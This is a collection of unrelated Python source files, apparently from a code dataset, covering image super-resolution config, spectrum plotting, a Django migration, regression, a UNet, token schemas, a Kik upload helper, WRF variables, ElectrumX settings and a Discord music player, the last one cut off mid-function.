# help='output patch size')
# parser.add_argument('--rgb_range', type=int, default=255,
# help='maximum value of RGB')
# parser.add_argument('--n_colors', type=int, default=3,
# help='number of color channels to use')
# parser.add_argument('--chop', action='store_true',
# help='enable memory-efficient forward')
# parser.add_argument('--no_augment', action='store_true',
# help='do not use data augmentation')
#
# # Model specifications
# parser.add_argument('--model', default='EDSR',
# help='model name')
#
# parser.add_argument('--act', type=str, default='relu',
# help='activation function')
# parser.add_argument('--pre_train', type=str, default='',
# help='pre-trained model directory')
# parser.add_argument('--extend', type=str, default='.',
# help='pre-trained model directory')
# parser.add_argument('--n_resblocks', type=int, default=16,
# help='number of residual blocks')
# parser.add_argument('--n_feats', type=int, default=64,
# help='number of feature maps')
# parser.add_argument('--res_scale', type=float, default=1,
# help='residual scaling')
# parser.add_argument('--shift_mean', default=True,
# help='subtract pixel mean from the input')
# parser.add_argument('--dilation', action='store_true',
# help='use dilated convolution')
# parser.add_argument('--precision', type=str, default='single',
# choices=('single', 'half'),
# help='FP precision for test (single | half)')
#
# # Option for Residual dense network (RDN)
# parser.add_argument('--G0', type=int, default=64,
# help='default number of filters. (Use in RDN)')
# parser.add_argument('--RDNkSize', type=int, default=3,
# help='default kernel size. (Use in RDN)')
# parser.add_argument('--RDNconfig', type=str, default='B',
# help='parameters config of RDN. (Use in RDN)')
#
# # Option for Residual channel attention network (RCAN)
# parser.add_argument('--n_resgroups', type=int, default=10,
# help='number of residual groups')
# parser.add_argument('--reduction', type=int, default=16,
# help='number of feature maps reduction')
#
# # Training specifications
# parser.add_argument('--reset', action='store_true',
# help='reset the training')
# parser.add_argument('--test_every', type=int, default=1000,
# help='do test per every N batches')
# parser.add_argument('-e','--EPOCHS', type=int, default=10,
# help='number of epochs to train')
# parser.add_argument('-b','--BATCH', type=int, default=16,
# help='input batch size for training')
# parser.add_argument('--split_batch', type=int, default=1,
# help='split the batch into smaller chunks')
# parser.add_argument('--self_ensemble', action='store_true',
# help='use self-ensemble method for test')
# parser.add_argument('--test_only', action='store_true',
# help='set this option to test the model')
# parser.add_argument('--gan_k', type=int, default=1,
# help='k value for adversarial loss')
#
# # Optimization specifications
# parser.add_argument('--lr', type=float, default=1e-4,
# help='learning rate')
# parser.add_argument('--decay', type=str, default='100',
# help='learning rate decay type')
# parser.add_argument('--gamma', type=float, default=0.5,
# help='learning rate decay factor for step decay')
# parser.add_argument('--optimizer', default='ADAM',
# choices=('SGD', 'ADAM', 'RMSprop'),
# help='optimizer to use (SGD | ADAM | RMSprop)')
# parser.add_argument('--momentum', type=float, default=0.9,
# help='SGD momentum')
# parser.add_argument('--betas', type=tuple, default=(0.9, 0.999),
# help='ADAM beta')
# parser.add_argument('--epsilon', type=float, default=1e-8,
# help='ADAM epsilon for numerical stability')
# parser.add_argument('--weight_decay', type=float, default=0,
# help='weight decay')
# parser.add_argument('--gclip', type=float, default=0,
# help='gradient clipping threshold (0 = no clipping)')
#
# # Loss specifications
# parser.add_argument('--loss', type=str, default='1*L1',
# help='loss function configuration')
# parser.add_argument('--skip_threshold', type=float, default='1e8',
# help='skipping batch that has large error')
#
# # Log specifications
# parser.add_argument('--save', type=str, default='test',
# help='file name to save')
# parser.add_argument('--load', type=str, default='',
# help='file name to load')
# parser.add_argument('--resume', type=int, default=0,
# help='resume from specific checkpoint')
# parser.add_argument('--save_models', action='store_true',
# help='save all intermediate models')
# parser.add_argument('--print_every', type=int, default=100,
# help='how many batches to wait before logging training status')
# parser.add_argument('--save_results', action='store_true',
# help='save output results')
# parser.add_argument('--save_gt', action='store_true',
# help='save low-resolution and high-resolution images together')
#
# args = parser.parse_args()
# # args.n_resblocks = 32
# # # args.n_feats = 256
# # # args.res_scale = 0.1
# # template.set_template(args)
#
# args.scale = list(map(lambda x: int(x), args.scale.split('+')))
# # args.data_train = args.data_train.split('+')
# # args.data_test = args.data_test.split('+')
#
# for arg in vars(args):
# if vars(args)[arg] == 'True':
# vars(args)[arg] = True
# elif vars(args)[arg] == 'False':
# vars(args)[arg] = False
class Config:
debug = False
template = '.'
n_threads = 6
cpu = False
n_GPUs = 1
seed = 1
n_colors = 3
rgb_range = 255
chop = False
no_augment = False
model = 'EDSR'
act = 'relu'
pre_train = ''
extend = '.'
# n_resblocks = 16
# n_feats = 64
# res_scale = 1.0
n_resblocks = 32
n_feats = 256
res_scale = 0.1
shift_mean = True
dilation = False
precision = 'single'
reset = False
test_every = 1000
split_batch = 1
self_ensemble = False
test_only = False
gan_k = 1
lr = 1e-4
decay = '5-10'
gamma = 0.5
t_0 = 5
t_mult = 2
optimizer = 'ADAM'
momentum = 0.9
betas = (0.9, 0.999)
epsilon = 1e-8
weight_decay = 0.
gclip = 0.
# Loss specifications
loss = '1*L1'
skip_threshold = 1e8
# Log specifications
save = 'test'
load = ''
resume = 0
save_models = False
print_every = 100
save_results = False
save_gt = False
def __init__(self, scale='4', hr_img_size=224, epochs=3, batch_size=32, **kwargs):
self.scale = str(scale)
self.patch_size = hr_img_size
self.epochs = epochs
self.batch_size = batch_size
self.scale = list(map(lambda x: int(x), self.scale.split('+')))
for kw in kwargs:
vars(self)[kw] = kwargs[kw]
for arg in vars(self):
if vars(self)[arg] == 'True':
vars(self)[arg] = True
elif vars(self)[arg] == 'False':
vars(self)[arg] = False
if __name__ == "__main__":
config = Config(lr=1e-2, pre_train='download')
print(config.model, config.lr, config.pre_train) |
py | 1a4cd5c315d5f752cc793b3e4a26df9d31c5e42c | # coding: utf-8
# Copyright (c) Pymatgen Development Team.
# Distributed under the terms of the MIT License.
"""
This module defines generic plotters.
"""
import collections
import importlib
from pymatgen.util.plotting import pretty_plot
class SpectrumPlotter:
"""
Class for plotting Spectrum objects and subclasses. Note that the interface
is extremely flexible given that there are many different ways in which
people want to view spectra. The typical usage is::
# Initializes plotter with some optional args. Defaults are usually
# fine,
plotter = SpectrumPlotter()
# Adds a DOS (A kind of spectra) with a label.
plotter.add_spectrum("Total DOS", dos)
# Alternatively, you can add a dict of DOSs. This is the typical
# form returned by CompleteDos.get_spd/element/others_dos().
plotter.add_spectra({"dos1": dos1, "dos2": dos2})
"""
def __init__(self, xshift=0.0, yshift=0.0, stack=False, color_cycle=("qualitative", "Set1_9")):
"""
Args:
xshift (float): A shift that is applied to the x values. This is
commonly used to shift to an arbitrary zero. E.g., zeroing at the
Fermi energy in DOS, or at the absorption edge in XAS spectra. The
same xshift is applied to all spectra.
yshift (float): A shift that is applied to the y values. This is
commonly used to displace spectra for easier visualization.
Successive spectra are applied successive shifts.
stack (bool): Whether to stack plots rather than simply plot them.
For example, DOS plot can usually be stacked to look at the
contribution of each orbital.
color_cycle (str): Default color cycle to use. Note that this can be
overridden
"""
self.xshift = xshift
self.yshift = yshift
self.stack = stack
mod = importlib.import_module("palettable.colorbrewer.%s" % color_cycle[0])
self.colors_cycle = getattr(mod, color_cycle[1]).mpl_colors
self.colors = []
self._spectra = collections.OrderedDict()
def add_spectrum(self, label, spectrum, color=None):
"""
Adds a Spectrum for plotting.
Args:
label (str): Label for the Spectrum. Must be unique.
spectrum: Spectrum object
color (str): This is passed on to matplotlib. E.g., "k--" indicates
a dashed black line. If None, a color will be chosen based on
the default color cycle.
"""
self._spectra[label] = spectrum
self.colors.append(color or self.colors_cycle[len(self._spectra) % len(self.colors_cycle)])
def add_spectra(self, spectra_dict, key_sort_func=None):
"""
Add a dictionary of doses, with an optional sorting function for the
keys.
Args:
dos_dict: dict of {label: Dos}
key_sort_func: function used to sort the dos_dict keys.
"""
if key_sort_func:
keys = sorted(spectra_dict.keys(), key=key_sort_func)
else:
keys = spectra_dict.keys()
for label in keys:
self.add_spectrum(str(label) + ' K', spectra_dict[label])
def get_plot(self, xlim=None, ylim=None):
"""
Get a matplotlib plot showing the DOS.
Args:
xlim: Specifies the x-axis limits. Set to None for automatic
determination.
ylim: Specifies the y-axis limits.
"""
plt = pretty_plot(7, 0)
base = 0.0
i = 0
for key, sp in self._spectra.items():
if not self.stack:
plt.plot(
sp.x,
sp.y + self.yshift * i,
color=self.colors[i],
label=str(key),
linewidth=3,
)
else:
plt.fill_between(
sp.x,
base,
sp.y + self.yshift * i,
color=self.colors[i],
label=str(key),
linewidth=3,
)
base = sp.y + base
plt.xlabel('Número de onda ' + r'($cm^{-1}$)')
plt.ylabel('Intensidadade (u.a.)')
i += 1
if xlim:
plt.xlim(xlim)
if ylim:
plt.ylim(ylim)
"""
*************************************************************************
Configuração feito para ordenar a legenda
*************************************************************************
"""
# current_handles, current_labels = plt.gca().get_legend_handles_labels()
# reversed_handles = list(reversed(current_handles))
# reversed_labels = list(reversed(current_labels))
# plt.legend(reversed_handles, reversed_labels)
# ***********************************************************************
plt.legend()
leg = plt.gca().get_legend()
ltext = leg.get_texts() # all the text.Text instance in the legend
plt.setp(ltext, fontsize=30)
plt.tight_layout()
return plt
def save_plot(self, filename, img_format="eps", **kwargs):
"""
Save matplotlib plot to a file.
Args:
filename: Filename to write to.
img_format: Image format to use. Defaults to EPS.
"""
plt = self.get_plot(**kwargs)
plt.savefig(filename, format=img_format)
def show(self, **kwargs):
"""
Show the plot using matplotlib.
"""
plt = self.get_plot(**kwargs)
plt.show()
|
py | 1a4cd740027c56d6e5478a4be0fea2aa71a5db3e | # Generated by Django 2.0 on 2018-06-10 15:34
from django.db import migrations, models
import imagekit.models.fields
class Migration(migrations.Migration):
dependencies = [("events", "0033_remove_unused_team_cover_img")]
operations = [
migrations.AddField(
model_name="team",
name="cover_img",
field=models.ImageField(
blank=True,
null=True,
upload_to="team_covers",
verbose_name="Cover Image",
),
)
]
|
py | 1a4cd7b78a59857484fdf4c02d4b2f6b2bcd3a09 | # Exercise OLS (version without functions
# Load the data
x = [9.55, 9.36, 0.2, 2.06, 5.89, 9.3, 4.74, 2.43, 6.5, 4.77]
y = [15.28, 16.16, 1.2, 5.14, 9.82, 13.88, 6.3, 3.71, 9.96, 9]
# Let us compute the average of x
sum_x = 0
for i in x:
sum_x +=i
mean_x = sum_x/len(x)
# Let us compute the average of y
sum_y = 0
for i in y:
sum_y +=i
mean_y = sum_y/len(y)
# Let us compute the numerator and the denominator of the beta estimator:
numerator = 0
denominator = 0
for i in range(0,len(x)): # here I use the index for-loop to be able to use both x and y
numerator += (y[i]-mean_y)*(x[i]-mean_x)
denominator += (x[i]-mean_x)**2
beta = numerator / denominator
# Now get the intercept
alpha = mean_y - beta * mean_x
# Print the output
print("Regression analysis y = alpha + beta*x + u")
print("------------------------------------------")
print("x\t%10.5f" % beta)
print("const\t%10.5f" % alpha)
print("------------------------------------------")
|
py | 1a4cd7e1169ca714af254f4777a9416f08a153c8 | import torch
import torch.nn as nn
import numpy as np
from torchsummary import summary
def double_conv(in_c, out_c):
block = nn.Sequential(nn.Conv2d(in_c, out_c, kernel_size = 3, bias = False),
nn.BatchNorm2d(out_c),
nn.ReLU(inplace = True),
nn.Conv2d(out_c, out_c, kernel_size = 3, bias = False),
nn.BatchNorm2d(out_c),
nn.ReLU(inplace = True)
)
return block
def crop(input, target):
input_size = input.size()[2]
target_size = target.size()[2]
if input_size % 2 != 0:
alpha = int(np.ceil((input_size - target_size) / 2))
beta = int((input_size - target_size) / 2)
return input[:, :, beta:input_size-alpha, beta:input_size-alpha]
delta = (input_size - target_size) // 2
return input[:, :, delta:input_size-delta, delta:input_size-delta]
class UNet(nn.Module):
def __init__(self, num_classes):
super(UNet, self).__init__()
self.num_classes = num_classes
self.maxpool = nn.MaxPool2d(kernel_size = 2, stride = 2)
#Encoder
self.down_conv1 = double_conv(in_c = 1, out_c = 64)
self.down_conv2 = double_conv(in_c = 64, out_c = 128)
self.down_conv3 = double_conv(in_c = 128, out_c = 256)
self.down_conv4 = double_conv(in_c = 256, out_c = 512)
self.down_conv5 = double_conv(in_c = 512, out_c = 1024)
#Decoder
self.tconv1 = nn.ConvTranspose2d(in_channels = 1024, out_channels = 512, kernel_size = 2, stride = 2)
self.upconv1 = double_conv(in_c = 1024, out_c = 512)
self.tconv2 = nn.ConvTranspose2d(in_channels = 512, out_channels = 256, kernel_size = 2, stride = 2)
self.upconv2 = double_conv(in_c = 512, out_c = 256)
self.tconv3 = nn.ConvTranspose2d(in_channels = 256, out_channels = 128, kernel_size = 2, stride = 2)
self.upconv3 = double_conv(in_c = 256, out_c = 128)
self.tconv4 = nn.ConvTranspose2d(in_channels = 128, out_channels = 64, kernel_size = 2, stride = 2)
self.upconv4 = double_conv(in_c = 128, out_c = 64)
self.final = nn.Conv2d(in_channels = 64, out_channels = self.num_classes, kernel_size = 1)
def forward(self, x):
x1 = self.down_conv1(x)
x2 = self.maxpool(x1)
x3 = self.down_conv2(x2)
x4 = self.maxpool(x3)
x5 = self.down_conv3(x4)
x6 = self.maxpool(x5)
x7 = self.down_conv4(x6)
x8 = self.maxpool(x7)
x9 = self.down_conv5(x8)
y = self.tconv1(x9)
y1 = self.upconv1(torch.cat([crop(x7, y),y], dim = 1))
y2 = self.tconv2(y1)
y3 = self.upconv2(torch.cat([crop(x5,y2), y2], dim = 1))
y4 = self.tconv3(y3)
y5 = self.upconv3(torch.cat([crop(x3,y4), y4], dim = 1))
y6 = self.tconv4(y5)
y7 = self.upconv4(torch.cat([crop(x1,y6), y6], dim = 1))
out = self.final(y7)
return out
def test():
ip = torch.randn((1,1,572,572))
model = UNet(2)
print(summary(model, (1, 572, 572), device = 'cpu'))
print(model(ip).shape)
if __name__ == '__main__':
test() |
py | 1a4cd81bbad7f6e04f3ef8887510c184f68119c7 | """
Pydantic schemas for auth tokens.
"""
from typing import Optional
from pydantic import BaseModel
class Token(BaseModel):
"""
Pydantic token schema.
When the client requests for an access token, the response is serialized into this
schema.
"""
access_token: str
token_type: str
class TokenPayload(BaseModel):
"""
Pydantic token payload schema.
This schema is used to deserialize the access token and obtain the user ID from it.
The `sub` attribute typically contains the user ID after deserializing the access
token.
"""
sub: Optional[int] = None
|
py | 1a4cd8b1ea487cb5f62015292c9fb171d1b4a1d1 | import hashlib
import logging
import requests
import time
from threading import Thread
from ...kik_unofficial.datatypes.exceptions import KikUploadError
from ...kik_unofficial.utilities.cryptographic_utilities import CryptographicUtils
from ...kik_unofficial.device_configuration import kik_version_info
log = logging.getLogger('kik_unofficial')
SALT = "YA=57aSA!ztajE5"
def upload_gallery_image(OutgoingChatImage, jid, username, password):
url = "https://platform.kik.com/content/files/" + OutgoingChatImage.content_id
send(url, OutgoingChatImage, jid, username, password)
def send(url, image, jid, username, password):
username_passkey = CryptographicUtils.key_from_password(username, password)
app_id = "com.kik.ext.gallery"
v = SALT + image.content_id + app_id
verification = hashlib.sha1(v.encode('UTF-8')).hexdigest()
headers = {
'Host': 'platform.kik.com',
'Connection': 'Keep-Alive',
'Content-Length': str(image.parsed['size']),
'User-Agent': f'Kik/{kik_version_info["kik_version"]} (Android 7.1.2) Content',
'x-kik-jid': jid,
'x-kik-password': username_passkey,
'x-kik-verification': verification,
'x-kik-app-id': app_id,
'x-kik-content-chunks': '1',
'x-kik-content-size': str(image.parsed['size']),
'x-kik-content-md5': image.parsed['MD5'],
'x-kik-chunk-number': '0',
'x-kik-chunk-md5': image.parsed['MD5'],
'x-kik-sha1-original': image.parsed['SHA1'].upper(),
'x-kik-sha1-scaled': image.parsed['SHA1Scaled'].upper(),
'x-kik-blockhash-scaled': image.parsed['blockhash'].upper(),
'Content-Type': 'image/jpeg',
'x-kik-content-extension': '.jpg'
}
# Sometimes Kik's servers throw 5xx when they're having issues, the new thread won't handle the exception
Thread(
target=content_upload_thread,
args=(url, image.parsed['original'], headers),
name='KikContent'
).start()
def content_upload_thread(url, image, headers):
log.debug('Uploading content')
r = requests.put(url, data=image, headers=headers)
if r.status_code != 200:
raise KikUploadError(r.status_code, r.reason)
|
py | 1a4cd8cfb42e16c718175f7eac8dd997909b178a | from wrf import getvar
import numpy as np
class Variables:
data = None
def __init__(self, data):
self.data = data
def get_var(self, var_name):
if hasattr(self, var_name) and callable(func := getattr(self, var_name)):
return func()
else:
return getvar(self.data, var_name)
def T2(self, h=None):
t2_data = getvar(self.data, 'T2')
return t2_data - 273.15
def V(self):
v10 = getvar(self.data, 'V10')
u10 = getvar(self.data, 'U10')
return np.sqrt(u10*u10+v10*v10) * 3.6
def slp(self):
return getvar(self.data, "slp")
def rh2(self):
return getvar(self.data, 'rh2')
def mdbz(self):
return getvar(self.data, 'mdbz')
# outvar = getvar(self.data, 'mdbz')
# return np.ma.masked_where(outvar < 5, outvar)
|
py | 1a4cd931f33156c838e2c687d1d0099e02b43df4 | class Solution:
def trap(self, height: List[int]) -> int:
n = len(height)
l = [0] * n # l[i] := max(height[0..i])
r = [0] * n # r[i] := max(height[i..n))
for i, h in enumerate(height):
l[i] = h if i == 0 else max(h, l[i - 1])
for i, h in reversed(list(enumerate(height))):
r[i] = h if i == n - 1 else max(h, r[i + 1])
return sum(min(l[i], r[i]) - h
for i, h in enumerate(height))
|
py | 1a4cd98f43126167a59b5d972f557bb56be7f333 | #!/usr/bin/env python
# Copyright (c) Facebook, Inc. and its affiliates.
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import specs.folly as folly
import specs.fizz as fizz
import specs.sodium as sodium
import specs.wangle as wangle
import specs.zstd as zstd
from shell_quoting import ShellQuoted
def fbcode_builder_spec(builder):
# This API should change rarely, so build the latest tag instead of master.
builder.add_option(
'no1msd/mstch:git_hash',
ShellQuoted('$(git describe --abbrev=0 --tags)')
)
builder.add_option(
'rsocket/rsocket-cpp/build:cmake_defines', {'BUILD_TESTS': 'OFF'}
)
builder.add_option('krb5/krb5:git_hash', 'krb5-1.16.1-final')
return {
'depends_on': [folly, fizz, sodium, wangle, zstd],
'steps': [
# This isn't a separete spec, since only fbthrift uses mstch.
builder.github_project_workdir('no1msd/mstch', 'build'),
builder.cmake_install('no1msd/mstch'),
builder.github_project_workdir('krb5/krb5', 'src'),
builder.autoconf_install('krb5/krb5'),
builder.github_project_workdir(
'rsocket/rsocket-cpp', 'build'
),
builder.step('configuration for rsocket', [
builder.cmake_configure('rsocket/rsocket-cpp/build'),
]),
builder.cmake_install('rsocket/rsocket-cpp'),
builder.fb_github_cmake_install('fbthrift/thrift'),
],
}
|
py | 1a4cd9c73b0e54973fd9582b097862a3a10dc43a | # Copyright (c) 2016, Neil Booth
#
# All rights reserved.
#
# See the file "LICENCE" for information about the copyright
# and warranty status of this software.
'''Class for handling environment configuration and defaults.'''
import re
from ipaddress import IPv4Address, IPv6Address
from typing import Type
from aiorpcx import Service, ServicePart
from electrumx.lib.coins import Coin
from electrumx.lib.env_base import EnvBase
class ServiceError(Exception):
pass
class Env(EnvBase):
'''Wraps environment configuration. Optionally, accepts a Coin class
as first argument to have ElectrumX serve custom coins not part of
the standard distribution.
'''
# Peer discovery
PD_OFF, PD_SELF, PD_ON = ('OFF', 'SELF', 'ON')
SSL_PROTOCOLS = {'ssl', 'wss'}
KNOWN_PROTOCOLS = {'ssl', 'tcp', 'ws', 'wss', 'rpc'}
coin: Type[Coin]
def __init__(self, coin=None):
super().__init__()
self.obsolete(["MAX_SUBSCRIPTIONS", "MAX_SUBS", "MAX_SESSION_SUBS", "BANDWIDTH_LIMIT",
"HOST", "TCP_PORT", "SSL_PORT", "RPC_HOST", "RPC_PORT", "REPORT_HOST",
"REPORT_TCP_PORT", "REPORT_SSL_PORT", "REPORT_HOST_TOR",
"REPORT_TCP_PORT_TOR", "REPORT_SSL_PORT_TOR"])
# Core items
self.db_dir = self.required('DB_DIRECTORY')
self.daemon_url = self.required('DAEMON_URL')
if coin is not None:
assert issubclass(coin, Coin)
self.coin = coin
else:
coin_name = self.required('COIN').strip()
network = self.default('NET', 'mainnet').strip()
self.coin = Coin.lookup_coin_class(coin_name, network)
# Peer discovery
self.peer_discovery = self.peer_discovery_enum()
self.peer_announce = self.boolean('PEER_ANNOUNCE', True)
self.force_proxy = self.boolean('FORCE_PROXY', False)
self.tor_proxy_host = self.default('TOR_PROXY_HOST', 'localhost')
self.tor_proxy_port = self.integer('TOR_PROXY_PORT', None)
# Misc
self.db_engine = self.default('DB_ENGINE', 'leveldb')
self.banner_file = self.default('BANNER_FILE', None)
self.tor_banner_file = self.default('TOR_BANNER_FILE',
self.banner_file)
self.anon_logs = self.boolean('ANON_LOGS', False)
self.log_sessions = self.integer('LOG_SESSIONS', 3600)
self.log_level = self.default('LOG_LEVEL', 'info').upper()
self.donation_address = self.default('DONATION_ADDRESS', '')
self.drop_client = self.custom("DROP_CLIENT", None, re.compile)
self.drop_client_unknown = self.boolean('DROP_CLIENT_UNKNOWN', False)
self.blacklist_url = self.default('BLACKLIST_URL', self.coin.BLACKLIST_URL)
self.cache_MB = self.integer('CACHE_MB', 1200)
self.reorg_limit = self.integer('REORG_LIMIT', self.coin.REORG_LIMIT)
# Server limits to help prevent DoS
self.max_send = self.integer('MAX_SEND', self.coin.DEFAULT_MAX_SEND)
self.max_sessions = self.sane_max_sessions()
self.cost_soft_limit = self.integer('COST_SOFT_LIMIT', 1000)
self.cost_hard_limit = self.integer('COST_HARD_LIMIT', 10000)
self.bw_unit_cost = self.integer('BANDWIDTH_UNIT_COST', 5000)
self.initial_concurrent = self.integer('INITIAL_CONCURRENT', 10)
self.request_sleep = self.integer('REQUEST_SLEEP', 2500)
self.request_timeout = self.integer('REQUEST_TIMEOUT', 30)
self.session_timeout = self.integer('SESSION_TIMEOUT', 600)
self.session_group_by_subnet_ipv4 = self.integer('SESSION_GROUP_BY_SUBNET_IPV4', 24)
self.session_group_by_subnet_ipv6 = self.integer('SESSION_GROUP_BY_SUBNET_IPV6', 48)
self._check_and_fix_cost_limits()
# Services last - uses some env vars above
self.services = self.services_to_run()
if {service.protocol for service in self.services}.intersection(self.SSL_PROTOCOLS):
self.ssl_certfile = self.required('SSL_CERTFILE')
self.ssl_keyfile = self.required('SSL_KEYFILE')
self.report_services = self.services_to_report()
def sane_max_sessions(self):
'''Return the maximum number of sessions to permit. Normally this
is MAX_SESSIONS. However, to prevent open file exhaustion, ajdust
downwards if running with a small open file rlimit.'''
env_value = self.integer('MAX_SESSIONS', 1000)
# No resource module on Windows
try:
import resource
nofile_limit = resource.getrlimit(resource.RLIMIT_NOFILE)[0]
# We give the DB 250 files; allow ElectrumX 100 for itself
value = max(0, min(env_value, nofile_limit - 350))
if value < env_value:
self.logger.warning(
f'lowered maximum sessions from {env_value:,d} to '
f'{value:,d} because your open file limit is '
f'{nofile_limit:,d}'
)
except ImportError:
value = 512 # that is what returned by stdio's _getmaxstdio()
return value
def _check_and_fix_cost_limits(self):
if self.cost_hard_limit < self.cost_soft_limit:
raise self.Error(f"COST_HARD_LIMIT must be >= COST_SOFT_LIMIT. "
f"got (COST_HARD_LIMIT={self.cost_hard_limit} "
f"and COST_SOFT_LIMIT={self.cost_soft_limit})")
# hard limit should be strictly higher than soft limit (unless both are 0)
if self.cost_hard_limit == self.cost_soft_limit and self.cost_soft_limit > 0:
self.logger.info("found COST_HARD_LIMIT == COST_SOFT_LIMIT. "
"bumping COST_HARD_LIMIT by 1.")
self.cost_hard_limit = self.cost_soft_limit + 1
def _parse_services(self, services_str, default_func):
result = []
for service_str in services_str.split(','):
if not service_str:
continue
try:
service = Service.from_string(service_str, default_func=default_func)
except Exception as e:
raise ServiceError(f'"{service_str}" invalid: {e}') from None
if service.protocol not in self.KNOWN_PROTOCOLS:
raise ServiceError(f'"{service_str}" invalid: unknown protocol')
result.append(service)
# Find duplicate addresses
service_map = {service.address: [] for service in result}
for service in result:
service_map[service.address].append(service)
for address, services in service_map.items():
if len(services) > 1:
raise ServiceError(f'address {address} has multiple services')
return result
def services_to_run(self):
def default_part(protocol, part):
return default_services.get(protocol, {}).get(part)
default_services = {protocol: {ServicePart.HOST: 'all_interfaces'}
for protocol in self.KNOWN_PROTOCOLS}
default_services['rpc'] = {ServicePart.HOST: 'localhost', ServicePart.PORT: 8000}
services = self._parse_services(self.default('SERVICES', ''), default_part)
# Find onion hosts
for service in services:
if str(service.host).endswith('.onion'):
raise ServiceError(f'bad host for SERVICES: {service}')
return services
def services_to_report(self):
services = self._parse_services(self.default('REPORT_SERVICES', ''), None)
for service in services:
if service.protocol == 'rpc':
raise ServiceError(f'bad protocol for REPORT_SERVICES: {service.protocol}')
if isinstance(service.host, (IPv4Address, IPv6Address)):
ip_addr = service.host
if (ip_addr.is_multicast or ip_addr.is_unspecified or
(ip_addr.is_private and self.peer_announce)):
raise ServiceError(f'bad IP address for REPORT_SERVICES: {ip_addr}')
elif service.host.lower() == 'localhost':
raise ServiceError(f'bad host for REPORT_SERVICES: {service.host}')
return services
def peer_discovery_enum(self):
pd = self.default('PEER_DISCOVERY', 'on').strip().lower()
if pd in ('off', ''):
return self.PD_OFF
elif pd == 'self':
return self.PD_SELF
else:
return self.PD_ON
|
py | 1a4cd9d169ff1a9187a9abcd7baede768ce3ce02 | """
MIT License
Copyright (c) 2019-2021 naoTimesdev
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
from __future__ import annotations
import asyncio
import logging
from math import ceil
from typing import TYPE_CHECKING, Dict, List, Optional, Union
import arrow
import wavelink
from discord.channel import StageChannel, VoiceChannel
from discord.colour import Colour
from discord.embeds import Embed
from wavelink import Player
from wavelink.errors import NodeOccupied, NoMatchingNode
from wavelink.ext import spotify
from wavelink.tracks import YouTubeTrack
from wavelink.utils import MISSING
from naotimes.timeparse import TimeString
from .errors import UnsupportedURLFormat
from .queue import (
GuildMusicInstance,
TrackEntry,
TrackQueueAll,
TrackQueueImpl,
TrackQueueSingle,
TrackRepeat,
)
from .track import (
BandcampDirectLink,
SoundcloudDirectLink,
SpotifyDirectTrack,
SpotifyTrack,
TwitchDirectLink,
YoutubeDirectLinkTrack,
)
if TYPE_CHECKING:
from discord.guild import Guild
from discord.member import Member
from naotimes.bot import naoTimesBot
from naotimes.config import naoTimesLavanodes
__all__ = (
"naoTimesPlayer",
"format_duration",
)
RealTrack = Union[YouTubeTrack, YoutubeDirectLinkTrack, SpotifyTrack]
VocalChannel = Union[VoiceChannel, StageChannel]
def format_duration(duration: float):
hours = duration // 3600
duration = duration % 3600
minutes = duration // 60
seconds = duration % 60
minutes = str(int(round(minutes))).zfill(2)
seconds = str(int(round(seconds))).zfill(2)
if hours >= 1:
hours = str(int(round(hours))).zfill(2)
return f"{hours}:{minutes}:{seconds}"
return f"{minutes}:{seconds}"
class naoTimesPlayer:
def __init__(
self,
client: naoTimesBot,
loop: asyncio.AbstractEventLoop = None,
spotify_client: spotify.SpotifyClient = None,
):
self.logger = logging.getLogger("naoTimes.MusicPlayer")
self._active_guilds: Dict[int, GuildMusicInstance] = {}
self._client = client
# Use single spotify client for all players
self._spotify = spotify_client
self._loop: asyncio.AbstractEventLoop = loop or asyncio.get_event_loop()
def __del__(self):
self._loop.create_task(self.close(), name="naotimes-player-close-all-players")
@property
def actives(self):
return self._active_guilds
async def close(self):
self.logger.info("Closing all instances...")
channel_ids = [instance.channel.id for instance in self._active_guilds.values() if instance.channel]
for vc_instance in self._client.voice_clients:
vc_instance: Player
if vc_instance.channel.id in channel_ids:
await vc_instance.disconnect(force=True)
self.logger.info("Disconnecting nodes...")
for node in wavelink.NodePool._nodes.copy().values():
await node.disconnect(force=True)
await self._spotify.session.close()
async def add_node(self, node: naoTimesLavanodes):
try:
self.logger.info(f"Trying to connect with node <{node.identifier}>...")
await wavelink.NodePool.create_node(
bot=self._client,
host=node.host,
port=node.port,
password=node.password,
region=node.region,
identifier=node.identifier,
spotify_client=self._spotify,
)
except NodeOccupied:
self.logger.warning(f"Node <{node.identifier}> is already occupied or registered.")
async def remove_node(self, identifier: str):
try:
node = wavelink.NodePool.get_node(identifier=identifier)
await node.disconnect(force=False)
except NoMatchingNode:
self.logger.warning(f"Node <{identifier}> is not registered.")
def _get_id(self, vc: Union[Player, Guild]) -> int:
if hasattr(vc, "guild"):
return vc.guild.id
else:
return vc.id
def create(self, vc: Union[Guild, Player]):
guild_id = self._get_id(vc)
if guild_id not in self._active_guilds:
track_queue = TrackQueueImpl()
self._active_guilds[guild_id] = GuildMusicInstance(track_queue)
def has(self, vc: Union[Player, Guild]) -> bool:
if hasattr(vc, "guild"):
return vc.guild.id in self._active_guilds
elif hasattr(vc, "id"):
return vc.id in self._active_guilds
return False
def get(self, vc: Union[Guild, Player]) -> GuildMusicInstance:
self.create(vc)
return self._active_guilds[self._get_id(vc)]
def set(self, vc: Union[Guild, Player], instance: GuildMusicInstance):
self._active_guilds[self._get_id(vc)] = instance
def get_tracks(self, vc: Union[Player, Guild]) -> List[TrackEntry]:
all_tracks: List[TrackEntry] = []
for track in self.get(vc).queue._queue:
all_tracks.append(track)
return all_tracks
def delete(self, vc: Union[Player, Guild]):
if self.has(vc):
del self._active_guilds[self._get_id(vc)]
def delete_track(self, vc: Union[Player, Guild], index: int):
try:
queue = self.get(vc)
